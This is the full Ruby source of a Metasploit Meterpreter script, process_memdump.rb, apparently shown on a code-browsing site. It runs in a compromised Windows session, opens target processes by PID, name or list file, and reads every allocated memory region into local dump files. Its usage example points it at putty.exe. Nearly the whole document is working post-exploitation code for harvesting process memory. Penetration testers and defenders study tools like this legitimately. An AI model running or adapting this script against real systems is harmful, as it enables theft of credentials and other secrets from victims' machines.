Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/process_memdump.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##5678# Author: Carlos Perez at carlos_perez[at]darkoperator.com9# Note: Script is based on the paper Neurosurgery With Meterpreter by10# Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com)11#-------------------------------------------------------------------------------12################## Variable Declarations ##################13require 'fileutils'14@client = client15pid = nil16name = nil17toggle = nil18resource = nil19query = false2021@exec_opts = Rex::Parser::Arguments.new(22"-h" => [ false, "Help menu." ],23"-p" => [ true, "PID of process to dump."],24"-n" => [ true, "Name of process to dump."],25"-r" => [ true, "Text file with list of process names to dump memory for, one per line."],26"-t" => [ false, "toggle location information in dump."],27"-q" => [false, "Query the size of the Process that would be dump in bytes."]28)2930def usage31print_line("")32print_line("USAGE:")33print_line("EXAMPLE: run process_memdump putty.exe")34print_line("EXAMPLE: run process_memdump -p 1234")35print_line(@exec_opts.usage)36raise Rex::Script::Completed37end3839@exec_opts.parse(args) { |opt, idx, val|40case opt41when "-h"42usage43when "-p"44pid = val45when "-n"46name = val47when "-t"48toggle = true49when "-q"50query = true51when "-r"52list = val53resource = ""54if not ::File.exist?(list)55raise "Command List File does not exist!"56else57::File.open(list, "r").each_line do |line|58resource << line59end60end61end62}636465# Function for finding the name of a process given it's PID66def find_procname(pid)67name = nil68@client.sys.process.get_processes.each do |proc|69if proc['pid'] == pid.to_i70name = proc['name']71end72end73return name74end7576# Find all PID's for a given process name77def find_pids(name)78proc_pid = []79@client.sys.process.get_processes.each do |proc|80if proc['name'].downcase == name.downcase81proc_pid << proc['pid']82end83end84return proc_pid85end8687# Dumps the memory for a given PID88def dump_mem(pid,name, toggle)89host,port = @client.session_host, session.session_port90# Create Filename info to be appended to created files91filenameinfo = "_#{name}_#{pid}_" + ::Time.now.strftime("%Y%m%d.%M%S")92# Create a directory for the logs93logs = ::File.join(Msf::Config.log_directory, 'scripts', 'proc_memdump')94# Create the log directory95::FileUtils.mkdir_p(logs)96#Dump file name97dumpfile = logs + ::File::Separator + host + filenameinfo + ".dmp"98print_status("\tDumping Memory of #{name} with PID: #{pid.to_s}")99begin100dump_process = @client.sys.process.open(pid.to_i, PROCESS_READ)101rescue102print_error("Could not open process for reading memory!")103raise Rex::Script::Completed104end105# MaximumApplicationAddress for 32bit or close enough106maximumapplicationaddress = 2147418111107base_size = 0108while base_size < maximumapplicationaddress109mbi = dump_process.memory.query(base_size)110# Check if Allocated111if mbi["Available"].to_s == "false"112file_local_write(dumpfile,mbi.inspect) if toggle113file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))114print_status("\tbase size = #{base_size/1024}")115end116base_size += mbi["RegionSize"]117end118print_status("Saving Dumped Memory to #{dumpfile}")119120end121122# Function to query process Size123def get_mem_usage( pid )124p = @client.sys.process.open( pid.to_i, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ )125if( p )126begin127128if( not @client.railgun.get_dll( 'psapi' ) )129@client.railgun.add_dll( 'psapi' )130end131132# http://msdn.microsoft.com/en-us/library/ms683219%28v=VS.85%29.aspx133if( not @client.railgun.psapi.functions['GetProcessMemoryInfo'] )134@client.railgun.psapi.add_function( 'GetProcessMemoryInfo', 'BOOL', [135[ "HANDLE", "hProcess", "in" ],136[ "PBLOB", "ProcessMemoryCounters", "out" ],137[ "DWORD", "Size", "in" ]138]139)140end141142r = @client.railgun.psapi.GetProcessMemoryInfo( p.handle, 72, 72 )143if( r['return'] )144pmc = r['ProcessMemoryCounters']145# unpack the PROCESS_MEMORY_COUNTERS structure (http://msdn.microsoft.com/en-us/library/ms684877%28v=VS.85%29.aspx)146# Note: As we get the raw structure back from railgun we need to account147# for SIZE_T variables being 32bit on x86 and 64bit on x64148mem = nil149if( @client.arch == 'x86' )150mem = pmc[12..15].unpack('V').first151elsif( @client.arch == 'x64' )152mem = pmc[16..23].unpack('Q').first153end154return (mem/1024)155end156rescue157p "Exception - #{$!}"158end159160p.close161end162163return nil164end165166# Main167if client.platform == 'windows'168if resource169resource.each do |r|170next if r.strip.length < 1171next if r[0,1] == "#"172print_status("Dumping memory for #{r.chomp}") if not query173pids = find_pids(r.chomp)174if pids.length == 0175print_status("\tProcess #{r.chomp} not found!")176next177end178pids.each do |p|179print_status("\tsize for #{r.chomp} in PID #{p} is #{get_mem_usage(p)}K") if query180dump_mem(p,r.chomp,toggle) if not query181end182end183elsif pid184name = find_procname(pid)185print_status("\tsize for #{name} in PID #{pid} is #{get_mem_usage(p)}K") if query186print_status("Dumping memory for #{name}") if not query187dump_mem(pid,name,toggle) if not query188elsif name189print_status("Dumping memory for #{name}") if not query190find_pids(name).each do |p|191print_status("\tsize for #{name} in PID #{p} is #{get_mem_usage(p)}K") if query192dump_mem(p,name,toggle) if not query193end194else195usage196end197else198print_error("This version of Meterpreter is not supported with this Script!")199raise Rex::Script::Completed200end201202203